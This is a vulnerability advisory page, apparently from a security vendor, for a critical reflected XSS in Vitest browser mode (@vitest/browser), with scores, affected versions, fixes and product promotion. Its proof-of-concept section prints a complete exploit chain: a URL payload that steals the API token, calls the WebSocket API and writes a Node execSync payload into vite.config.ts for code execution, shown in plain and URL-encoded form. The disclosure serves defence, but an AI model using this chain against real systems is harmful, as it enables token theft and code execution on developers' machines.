GHSA-2h32-95rg-cppp
CRITICALGHSA-2h32-95rg-cppp is a critical-severity (CVSS 9.6) Cross-site Scripting (XSS) vulnerability in @vitest/browser. O3 Security confirms whether GHSA-2h32-95rg-cppp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2h32-95rg-cppp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-2h32-95rg-cppp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 366,298 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@vitest/browsernpmDescription
Summary
Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.
The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.
Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.
This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
Proof of Concept
XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test
By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.
Open the following URL:
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
The otelCarrier query value is inserted into the generated inline module script as JavaScript source:
otelCarrier: (alert("xss via otelCarrier"),null),
Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
RCE via config write
A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.
The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports flatted from a CDN to keep the payload compact.
(setTimeout(async()=>{
const s = window.__vitest_browser_runner__
const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/[email protected]/+esm')
const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
const q = 'type=orchestrator&rpcId=poc-' + Date.now()
+ '&sessionId=' + encodeURIComponent(s.sessionId)
+ '&projectName=' + encodeURIComponent(s.config.name || '')
+ '&method=' + encodeURIComponent(s.method)
+ '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')
const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
const pending = new Map()
function call(m, a = []) {
const i = crypto.randomUUID()
ws.send(stringify({ t: 'q', i, m, a }))
return new Promise((resolve, reject) => {
pending.set(i, { resolve, reject })
})
}
ws.onmessage = (event) => {
const message = parse(event.data)
const promise = pending.get(message.i)
if (!promise) {
return
}
pending.delete(message.i)
if (message.e) {
promise.reject(message.e)
}
else {
promise.resolve(message.r)
}
}
ws.onopen = async () => {
const configPath = 'vite.config.ts'
const original = await call('triggerCommand', [
s.sessionId,
'readFile',
configPath,
[configPath, 'utf-8'],
])
const injected = `
import("node:child_process").then(lib => {
lib.execSync('touch ./rce-poc')
console.log('RCE success')
})
`
await call('triggerCommand', [
s.sessionId,
'writeFile',
configPath,
[configPath, injected + original],
])
alert('POC: vite.config.ts modified to trigger RCE on config reload')
}
ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)
The following URL is the same script encoded as the otelCarrier query value:
http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @vitest/browser | ≥ 4.0.17&&< 4.1.6 | 4.1.6 |
| 📦npm | @vitest/browser | ≥ 5.0.0-beta.0&&< 5.0.0-beta.3 | 5.0.0-beta.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @vitest/browser. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @vitest/browser to 4.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2h32-95rg-cppp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2h32-95rg-cppp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2h32-95rg-cppp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat has assessed this flaw against its shipping products. The vulnerability requires @vitest/browser (Vitest's opt-in Browser Mode) to be installed and actively enabled; it does not affect the core `vitest` test runner used without Browser Mode. None of Red Hat's shipping products install or execute…
Frequently Asked Questions
Is GHSA-2h32-95rg-cppp in your dependencies?
O3 detects GHSA-2h32-95rg-cppp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.